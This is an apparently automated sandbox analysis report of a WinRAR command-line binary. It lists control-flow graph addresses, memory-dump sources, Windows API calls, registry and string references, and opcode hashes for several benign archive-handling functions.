7ff68a2440a3-7ff68a2440a7 691->708 692->653 692->670 695 7ff68a2440b7 693->695 696 7ff68a2440a1 693->696 694->693 700 7ff68a244072-7ff68a244078 694->700 695->679 696->683 717 7ff68a2441c0-7ff68a2441d5 697->717 718 7ff68a2441b3-7ff68a2441bb call 7ff68a25eb88 697->718 704 7ff68a24407a-7ff68a244091 call 7ff68a261700 700->704 705 7ff68a244093 700->705 704->705 714 7ff68a2440a9-7ff68a2440b5 704->714 705->693 706->697 707->687 708->695 714->679 721 7ff68a2441db 717->721 722 7ff68a2445f0-7ff68a244624 call 7ff68a243884 call 7ff68a25eb88 * 2 717->722 718->653 725 7ff68a2441e1-7ff68a2441ee 721->725 756 7ff68a244626-7ff68a244648 call 7ff68a2411c0 * 2 722->756 757 7ff68a24464a-7ff68a244691 call 7ff68a25ec70 * 2 722->757 728 7ff68a244508-7ff68a244513 725->728 729 7ff68a2441f4-7ff68a2441fa 725->729 728->722 731 7ff68a244519-7ff68a244523 728->731 732 7ff68a244208-7ff68a24420e 729->732 733 7ff68a2441fc-7ff68a244202 729->733 735 7ff68a244585-7ff68a244589 731->735 736 7ff68a244525-7ff68a24452b 731->736 737 7ff68a2443d0-7ff68a2443e0 call 7ff68a24a580 732->737 738 7ff68a244214-7ff68a24425c 732->738 733->728 733->732 739 7ff68a24458b-7ff68a24458f 735->739 740 7ff68a2445a3-7ff68a2445d4 call 7ff68a243884 735->740 742 7ff68a2445db-7ff68a2445de 736->742 743 7ff68a244531-7ff68a244539 736->743 762 7ff68a2443e6-7ff68a244414 call 7ff68a24a9e8 call 7ff68a26172c 737->762 763 7ff68a2444f0-7ff68a244503 737->763 744 7ff68a244261-7ff68a244264 738->744 739->740 746 7ff68a244591-7ff68a244597 739->746 740->742 742->722 751 7ff68a2445e0-7ff68a2445e5 742->751 749 7ff68a24453b-7ff68a24453e 743->749 750 7ff68a244573-7ff68a24457a 743->750 752 7ff68a244268-7ff68a244270 744->752 746->742 755 7ff68a244599-7ff68a2445a1 746->755 759 7ff68a24456a-7ff68a244571 749->759 760 7ff68a244540-7ff68a244543 749->760 754 7ff68a24457e-7ff68a244583 750->754 751->725 752->752 761 7ff68a244272-7ff68a244288 call 7ff68a261700 752->761 754->742 755->742 756->757 757->653 759->754 765 7ff68a244561-7ff68a244568 760->765 766 7ff68a244545-7ff68a244548 760->766 780 7ff68a24428a-7ff68a244295 761->780 781 7ff68a2442a3 761->781 762->763 787 7ff68a24441a-7ff68a2444a9 call 7ff68a24d840 call 7ff68a24a900 call 7ff68a24a8c4 call 7ff68a24a900 call 7ff68a2615fc 762->787 763->728 765->754 771 7ff68a244558-7ff68a24455f 766->771 772 7ff68a24454a-7ff68a24454d 766->772 771->754 772->746 778 7ff68a24454f-7ff68a244556 772->778 778->754 780->781 782 7ff68a244297-7ff68a2442a1 780->782 784 7ff68a2442a7-7ff68a2442be 781->784 782->784 784->744 788 7ff68a2442c0-7ff68a2442c2 784->788 823 7ff68a2444ab-7ff68a2444bb 787->823 824 7ff68a2444bf-7ff68a2444cf 787->824 790 7ff68a2442e6 788->790 791 7ff68a2442c4-7ff68a2442d6 call 7ff68a24a900 788->791 790->737 794 7ff68a2442ec 790->794 796 7ff68a2442db-7ff68a2442e1 791->796 797 7ff68a2442f1-7ff68a2442f7 794->797 799 7ff68a2445d6 796->799 800 7ff68a2442f9-7ff68a2442fe 797->800 801 7ff68a244300-7ff68a244303 797->801 799->742 800->801 803 7ff68a244305-7ff68a244314 800->803 801->797 805 7ff68a244316-7ff68a244320 803->805 806 7ff68a24433d-7ff68a244347 803->806 810 7ff68a244323-7ff68a244327 805->810 807 7ff68a24434d-7ff68a244378 call 7ff68a24d840 806->807 808 7ff68a2445ea-7ff68a2445ef call 7ff68a25a774 806->808 818 7ff68a24437a-7ff68a244399 call 7ff68a261764 807->818 819 7ff68a24439e-7ff68a2443cb call 7ff68a24470c 807->819 808->722 810->806 814 7ff68a244329-7ff68a24433b 810->814 814->806 814->810 818->796 819->796 823->824 827 7ff68a2444d2-7ff68a2444d8 824->827 828 7ff68a2444eb-7ff68a2444ee 827->828 829 7ff68a2444da-7ff68a2444e5 827->829 828->827 829->799 829->828
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileModuleNamesnprintfwcschr
                                                                                                                                                                                                                                          • String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
                                                                                                                                                                                                                                          • API String ID: 602362809-1645646101
                                                                                                                                                                                                                                          • Opcode ID: afc03d1a64b1e91b55d1483e08eeb6f7bfbf9c4cdf35337ed128fcbd6448c605
                                                                                                                                                                                                                                          • Instruction ID: dc60c13abc21c932162348034d809931281c97d2cd57b0886efaa6f739ba3979
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: afc03d1a64b1e91b55d1483e08eeb6f7bfbf9c4cdf35337ed128fcbd6448c605
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B322E222A1B682E6EB30DB15D6602F96361FF44784F884179EE4EC76D9EF2CE504E740
                                                                                                                                                                                                                                          Function 00007FF68A214FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1405 7ff68a214fd0-7ff68a21502d call 7ff68a25a5a0 1408 7ff68a21504d-7ff68a215055 1405->1408 1409 7ff68a21502f-7ff68a215037 1405->1409 1411 7ff68a215057-7ff68a215069 call 7ff68a21481c 1408->1411 1412 7ff68a21506e-7ff68a215089 call 7ff68a23420c 1408->1412 1409->1408 1410 7ff68a215039-7ff68a21504b call 7ff68a25c8a0 1409->1410 1410->1408 1410->1411 1411->1412 1418 7ff68a21508b-7ff68a21509d call 7ff68a24a9c0 1412->1418 1419 7ff68a21509f-7ff68a2150b6 call 7ff68a24db08 1412->1419 1425 7ff68a21511b-7ff68a215131 call 7ff68a25c8a0 1418->1425 1424 7ff68a2150b8-7ff68a2150c3 call 7ff68a24a59c 1419->1424 1419->1425 1424->1425 1432 7ff68a2150c5-7ff68a2150cf call 7ff68a223054 1424->1432 1430 7ff68a215137-7ff68a21513e 1425->1430 1431 7ff68a215203-7ff68a21520d call 7ff68a24aa48 1425->1431 1433 7ff68a21516c-7ff68a2151be call 7ff68a24aa1c call 7ff68a24aa48 call 7ff68a246e98 1430->1433 1434 7ff68a215140-7ff68a215167 call 7ff68a233f98 1430->1434 1440 7ff68a215212-7ff68a21521c 1431->1440 1432->1425 1441 7ff68a2150d1-7ff68a215107 call 7ff68a24a9e8 call 7ff68a24a9c0 call 7ff68a223054 1432->1441 1488 7ff68a2151d3-7ff68a2151e8 call 7ff68a247a24 1433->1488 1434->1433 1443 7ff68a2152db-7ff68a2152e0 1440->1443 1444 7ff68a215222 1440->1444 1441->1425 1529 7ff68a215109-7ff68a215116 call 7ff68a24a9e8 1441->1529 1445 7ff68a2152e6-7ff68a2152e9 1443->1445 1446 7ff68a215453-7ff68a215477 call 7ff68a21f00c call 7ff68a21f230 call 7ff68a21f09c 1443->1446 1449 7ff68a215228-7ff68a21522d 1444->1449 1450 7ff68a21532f-7ff68a215332 1444->1450 1454 7ff68a215379-7ff68a215382 1445->1454 1455 7ff68a2152ef-7ff68a2152f2 1445->1455 1506 7ff68a21547c-7ff68a215483 1446->1506 1449->1450 1458 7ff68a215233-7ff68a215236 1449->1458 1452 7ff68a21533b-7ff68a21533e 1450->1452 1453 7ff68a215334 1450->1453 1462 7ff68a215347-7ff68a215358 call 7ff68a201230 call 7ff68a204858 1452->1462 1463 7ff68a215340 1452->1463 1453->1452 1460 7ff68a215388-7ff68a21538b 1454->1460 1461 7ff68a215449-7ff68a215451 call 7ff68a23eab8 1454->1461 1464 7ff68a21536c-7ff68a215374 call 7ff68a2481cc 1455->1464 1465 7ff68a2152f4-7ff68a2152f7 1455->1465 1468 7ff68a215238-7ff68a21523b 1458->1468 1469 7ff68a215290-7ff68a215299 1458->1469 1473 7ff68a21541b-7ff68a215433 call 7ff68a24ab1c 1460->1473 1474 7ff68a215391-7ff68a215397 1460->1474 1461->1506 1521 7ff68a21535d 1462->1521 1463->1462 1464->1506 1465->1446 1476 7ff68a2152fd-7ff68a215300 1465->1476 1481 7ff68a21523d-7ff68a215240 1468->1481 1482 7ff68a215274-7ff68a21528b call 7ff68a201230 call 7ff68a2048ec 1468->1482 1478 7ff68a21529b-7ff68a21529e 1469->1478 1479 7ff68a2152b2-7ff68a2152bd 1469->1479 1473->1506 1520 7ff68a215435-7ff68a215447 call 7ff68a23bbd4 1473->1520 1493 7ff68a215399-7ff68a21539c 1474->1493 1494 7ff68a21540c-7ff68a215419 call 7ff68a2354f8 call 7ff68a2351e4 1474->1494 1476->1450 1495 7ff68a215302-7ff68a215305 1476->1495 1486 7ff68a2152ce-7ff68a2152d6 call 7ff68a2355e0 1478->1486 1487 7ff68a2152a0-7ff68a2152a6 1478->1487 1479->1486 1490 7ff68a2152bf-7ff68a2152c9 call 7ff68a24a9e8 1479->1490 1481->1446 1497 7ff68a215246-7ff68a215249 1481->1497 1539 7ff68a21535e-7ff68a215362 call 7ff68a2014fc 1482->1539 1486->1506 1503 7ff68a2152a8-7ff68a2152ad call 7ff68a217214 1487->1503 1504 7ff68a215313-7ff68a21531d call 7ff68a21481c 1487->1504 1541 7ff68a2151ea-7ff68a215201 call 7ff68a246f68 call 7ff68a2014c0 1488->1541 1542 7ff68a2151c0-7ff68a2151ce call 7ff68a24aa48 1488->1542 1490->1486 1510 7ff68a21539e-7ff68a2153a1 1493->1510 1511 7ff68a2153ef-7ff68a215401 call 7ff68a2145c8 1493->1511 1494->1506 1512 7ff68a215307-7ff68a21530a 1495->1512 1513 7ff68a215322-7ff68a21532a call 7ff68a2267e0 1495->1513 1497->1450 1498 7ff68a21524f-7ff68a215252 1497->1498 1498->1446 1515 7ff68a215258-7ff68a21525b 1498->1515 1503->1506 1504->1506 1526 7ff68a215491-7ff68a2154bc call 7ff68a25a610 1506->1526 1527 7ff68a215485-7ff68a21548c call 7ff68a218444 1506->1527 1510->1504 1525 7ff68a2153a7-7ff68a2153d5 call 7ff68a2145c8 call 7ff68a24ab1c 1510->1525 1511->1494 1512->1446 1528 7ff68a215310 1512->1528 1513->1506 1532 7ff68a21526b-7ff68a215272 1515->1532 1533 7ff68a21525d-7ff68a215260 1515->1533 1520->1506 1521->1539 1525->1506 1561 7ff68a2153db-7ff68a2153ea call 7ff68a23ba9c 1525->1561 1527->1526 1528->1504 1529->1425 1532->1486 1533->1513 1547 7ff68a215266 1533->1547 1555 7ff68a215367 1539->1555 1541->1440 1542->1488 1547->1528 1555->1506 1561->1506
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: wcschr
                                                                                                                                                                                                                                          • String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
                                                                                                                                                                                                                                          • API String ID: 1497570035-1281034975
                                                                                                                                                                                                                                          • Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
                                                                                                                                                                                                                                          • Instruction ID: c5f9dc244985873b5ebc3ff71d45ee4de3564582a04ce57c3d1c97c1daa6bfc8
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C2C17461A1A582F4EA35AE29CA711FC1251FF46784F4C51F9DE4ECA5DADE2EF600E300
                                                                                                                                                                                                                                          Function 00007FF68A247F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1564 7ff68a247f24-7ff68a247f5c 1565 7ff68a247fd0 1564->1565 1566 7ff68a247f5e-7ff68a247f64 1564->1566 1567 7ff68a247fd7-7ff68a247fea 1565->1567 1566->1565 1568 7ff68a247f66-7ff68a247f7c call 7ff68a24b3f0 1566->1568 1569 7ff68a248036-7ff68a248039 1567->1569 1570 7ff68a247fec-7ff68a247fef 1567->1570 1578 7ff68a247f7e-7ff68a247fb3 GetProcAddressForCaller GetProcAddress 1568->1578 1579 7ff68a247fb5 1568->1579 1572 7ff68a24805c-7ff68a248065 GetCurrentProcessId 1569->1572 1573 7ff68a24803b-7ff68a24804a 1569->1573 1570->1572 1574 7ff68a247ff1-7ff68a248000 1570->1574 1576 7ff68a248077-7ff68a248093 1572->1576 1577 7ff68a248067 1572->1577 1584 7ff68a24804f-7ff68a248051 1573->1584 1585 7ff68a248005-7ff68a248007 1574->1585 1583 7ff68a248069-7ff68a248075 1577->1583 1580 7ff68a247fbc-7ff68a247fce 1578->1580 1579->1580 1580->1567 1583->1576 1583->1583 1584->1576 1586 7ff68a248053-7ff68a24805a 1584->1586 1585->1576 1587 7ff68a248009 1585->1587 1588 7ff68a248010-7ff68a248034 call 7ff68a21ca6c call 7ff68a21cda4 call 7ff68a21ca40 1586->1588 1587->1588 1588->1576
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressProc$CallerCurrentDirectoryProcessSystem
                                                                                                                                                                                                                                          • String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
                                                                                                                                                                                                                                          • API String ID: 1389829785-2207617598
                                                                                                                                                                                                                                          • Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
                                                                                                                                                                                                                                          • Instruction ID: 5f9d03a2ab99ec9b544ac1a616fb1b3f3552fa78f7250c229cc2fea43d897415
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FC418024A1BB92E0EA35DB12AB205B567A1BF45BE4F0C11B9CD2D97B94DE3CF445E300
                                                                                                                                                                                                                                          Function 00007FF68A25B0FC Relevance: 13.6, APIs: 9, Instructions: 92COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 552178382-0
                                                                                                                                                                                                                                          • Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
                                                                                                                                                                                                                                          • Instruction ID: 5b1868022de3decc508f300aac71c3672bf3e37665ba1684224d8e2fdb951968
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4C311811E0A143E1EAB4BA2597363F91291BF45784F4C40BDDE4DC729BEE2CA804E350
                                                                                                                                                                                                                                          Function 00007FF68A244774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83registryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF68A24495D,?,?,?,00007FF68A237E7D), ref: 00007FF68A2447DB
                                                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF68A24495D,?,?,?,00007FF68A237E7D), ref: 00007FF68A244831
                                                                                                                                                                                                                                          • ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF68A24495D,?,?,?,00007FF68A237E7D), ref: 00007FF68A244853
                                                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF68A24495D,?,?,?,00007FF68A237E7D), ref: 00007FF68A2448A6
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseEnvironmentExpandOpenQueryStringsValue
                                                                                                                                                                                                                                          • String ID: LanguageFolder$Software\WinRAR\General
                                                                                                                                                                                                                                          • API String ID: 1800380464-3408810217
                                                                                                                                                                                                                                          • Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
                                                                                                                                                                                                                                          • Instruction ID: eaafea80e833362a1582cac5fcf9e3330943dc11f290b690a3703721ea614148
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CC31B82271AA81E5EB70DB21EA202FA6361FF847A4F444175EE4D87BD9EF6CD109D700
                                                                                                                                                                                                                                          Function 00007FF68A234398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54registryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A2343D1
                                                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A234402
                                                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A23440D
                                                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A23443E
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseFileModuleNameOpenQueryValue
                                                                                                                                                                                                                                          • String ID: AppData$Software\WinRAR\Paths
                                                                                                                                                                                                                                          • API String ID: 3617018055-3415417297
                                                                                                                                                                                                                                          • Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
                                                                                                                                                                                                                                          • Instruction ID: 610b0c16d991d186ab94fea1638508043a0e8ea430568a459aa9eb3392f35b7a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
